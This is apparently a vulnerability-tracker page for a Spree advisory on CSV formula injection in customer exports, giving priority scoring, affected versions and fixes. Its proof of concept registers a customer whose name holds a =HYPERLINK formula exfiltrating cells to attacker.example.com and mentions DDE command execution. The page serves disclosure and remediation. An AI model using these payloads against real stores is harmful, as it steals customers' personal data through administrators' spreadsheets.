GHSA-xf4v-w5x5-pv79: Spree: CSV Formula Injection in Customer Export
Noroxi assessment
Priority: Monitor (action score 0/100)
- The sources we track (CISA KEV, Exploit-DB, Metasploit, Nuclei, GitHub) show no public exploit code or exploitation in the wild.
- Anyone who can reach it over the internet can trigger it. A low-privileged account is enough. No special conditions are required; it is repeatable.
- Fixed version: spree (RubyGems) 5.2.8, 5.3.6, 5.4.3.
Low priority for now. Upgrade to spree (RubyGems) 5.2.8, 5.3.6, 5.4.3 or later.
Generated automatically from the record's data: CVSS (NVD and CNA), CISA KEV and SSVC, FIRST EPSS, exploit sources, fixed versions. How we calculate it
Primary sources: OSV
### Summary CSV formula injection (also known as formula injection or CSV injection) affects customer export. User-controlled values customer names, email addresses, and shipping addresses. When an administrator opens a crafted Export in Microsoft Excel or LibreOffice Calc, formulas embedded in user data execute in the context of the administrator's desktop, potentially exfiltrating data or executing OS commands via DDE (Dynamic Data Exchange). --- ### Details #### Affected presenters and fields | Presenter | Path | User-controlled fields | |---|---|---| | `CustomerPresenter` | `spree/core/app/presenters/spree/csv/customer_presenter.rb:36` | `first_name`, `last_name`, `address1`, `address2`, `city`, `phone` | #### Vulnerable code — `customer_presenter.rb` (representative example) ```ruby # spree/core/app/presenters/spree/csv/customer_presenter.rb:36–53 def call csv = [ customer.first_name, # ← written verbatim; may contain =HYPERLINK(...) customer.last_name, # ← user-controlled customer.email, customer.accepts_email_marketing ? Spree.t(:say_yes) : Spree.t(:say_no), customer.address&.company, # ← user-controlled customer.address&.address1, # ← user-controlled customer.address&.address2, # ← user-controlled customer.address&.city, # ← user-controlled customer.address&.state_text, customer.address&.state_abbr, customer.address&.country&.name, customer.address&.country&.iso, customer.address&.zipcode, customer.phone, # ← user-controlled customer.amount_spent_in(Spree::Store.current.default_currency), customer.completed_orders.count, ] csv += metafields_for_csv(customer) csv end ``` --- ### PoC **Precondition**: A Spree store with public customer registration enabled (default configuration). No special permissions required for the attacker. #### Step 1 — Register as a customer with an injected first name ```bash curl -X POST https://store.example.com/api/v3/store/customers \ -H "Content-Type: application/json" \ -H "X-Spree-Api-Key: pk_<publishable_api_key>" \ -d '{ "email": "attacker@evil.com", "password": "password123", "password_confirmation": "password123", "first_name": "=HYPERLINK(\"http://attacker.example.com/exfil?d=\"&B1,\"Click\")", "last_name": "Smith" }' ``` #### Step 2 — Admin triggers a customer export ```bash curl -X POST https://store.example.com/api/v3/admin/exports \ -H "Authorization: Bearer <admin_jwt>" \ -H "Content-Type: application/json" \ -d '{"type": "Spree::Exports::Customers", "record_selection": "all"}' ``` #### Step 3 — Admin polls until ready, then downloads ```bash # Poll for completion curl https://store.example.com/api/v3/admin/exports/<export_id> \ -H "Authorization: Bearer <admin_jwt>" # Download curl https://store.example.com/api/v3/admin/exports/<export_id>/download \ -H "Authorization: Bearer <admin_jwt>" \ -o customers.csv ``` #### Step 4 — Verify injection in the raw CSV (without opening in Excel) Open `customers.csv` in a text editor. The first data row will contain: ``` "=HYPERLINK(""http://attacker.example.com/exfil?d=""&B1,""Click"")","Smith","attacker@evil.com",... ``` #### Step 5 — Admin opens `customers.csv` in Microsoft Excel (Windows) - Excel warns about external data connections; if the administrator clicks **Enable**, the `HYPERLINK` formula fires and sends a GET request to `http://attacker.example.com/exfil?d=<B1_value>`. - Cell B1 in the customers export is the **Last Name** column. Adjacent columns contain email, address, and order total data for all exported customers. - With the DDE variant (`=CMD|...`) on older or unpatched Excel versions, a subprocess is launched on the administrator's machine. --- ### Impact **Vulnerability class**: CSV / Formula Injection (CWE-1236) #### Who is impacted - **Administrators** who download and open export files in spreadsheet software are the direct victims. Administrative accounts have access to all store data, payment method configurations, customer PII, and full order history. #### Realistic attack chain | Step | Actor | Action | Privilege required | |---|---|---|---| | 1 | Attacker | Registers as customer | Public registration | | 2 | Attacker | Sets `first_name` to formula payload | None beyond registration | | 3 | Admin | Runs a routine weekly/monthly export | Normal operational task | | 4 | Admin | Opens CSV in Excel | None | | 5 | Attacker | Receives exfiltrated spreadsheet data | Passive | #### Data at risk All data visible to the administrator in the spreadsheet at the time of opening, including: - All exported customer emails, names, addresses, phone numbers - Order totals and purchase history - Any other columns in the same export file
- Published
- Jun 4, 2026
- Updated
- Jun 4, 2026
- EPSS
- —
- CWE
- CWE-1236
Report tools
Action score
0
Low priority for now.
- CVSS
- 0 / 40 · —
- CISA KEV
- 0 / 30 · Not listed
- EPSS
- 0 / 30 · —
Get told when this record changes
- Not in KEV: no record of exploitation in the wild
- No public exploit code on record
- A fix has been released
If any of these changes, we'll tell you in the daily email digest.
Is your version affected? Check itNoroxi analysis
What does it mean in your environment?
The assessment above is generated automatically from the record's data; it doesn't know your environment. Our team verifies on your systems whether this vulnerability is actually exploitable and which mitigation is enough.
We use this product, ask for helpAffected systems
Is your version affected?
Pick the product and type the version you run. It's compared with this record's version ranges in your browser; the version isn't sent anywhere.
| Vendor | Product | CPE |
|---|---|---|
| RubyGems | spree | pkg:gem/spree |
Package-level exposure
OSV and GitHub Advisory data: ecosystem, package and range. SBOM matching uses this table.
| Ecosystem | Package | Affected range | Fix |
|---|---|---|---|
| RubyGems | spree | from 5.2.0 · before 5.2.8 | 5.2.8 |
| RubyGems | spree | from 5.3.0 · before 5.3.6 | 5.3.6 |
| RubyGems | spree | from 5.4.0 · before 5.4.3 | 5.4.3 |
Remediation
Which version to upgrade to
Fix versions compiled from the vendor, package registries and Microsoft. Verify the vendor's note before upgrading.
| Product / package | Fixed version | Source |
|---|---|---|
| RubyGems:spree | 5.2.8 | Package registry (OSV) |
| RubyGems:spree | 5.3.6 | Package registry (OSV) |
| RubyGems:spree | 5.4.3 | Package registry (OSV) |
Exploit status
No known public exploit
No public exploit has been observed yet. That doesn't mean you're safe, only that the bar is a little higher.
Research context
For pentesters and researchers: attack profile, score disagreement, timeline, patch commits, credits, variant and chain candidates, bug bounty scope. All derived from existing data; no exploit code.
Timeline
From publication to today: proof of concept, Metasploit module, CISA KEV and fix record. Dates are as reported by the sources.
No dated events beyond publication.
Not on record for this CVE: EPSS history · patch commit or PR link · researcher credit · variant or chain candidate · public bounty program.
Technical details
Attack conditions
- Anyone who can reach it over the internet can trigger it.
- A low-privileged account is enough.
- No special conditions are required; it is repeatable.
If successful
- Confidentiality
- Integrity
- Availability
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- Low
- User interaction
- A
Weakness class (CWE)
CWE-1236 · Improper Neutralization of Formula Elements in a CSV FileCVSS vector
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:A/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H
osv
Attack context
MITRE CAPEC attack patterns and ATT&CK techniques for this weakness class (CWE). A starting point for detection rules and threat hunting.
MITRE has no CAPEC/ATT&CK mapping for this CWE.
Change log (2)
- Fix✗ → ✓
- CVSS5.5 → —
For records you follow, these changes also arrive as notifications. →
References
Show all references (4 more)Show less
Vendor advisories and official records. Exploit/PoC links are deliberately left out.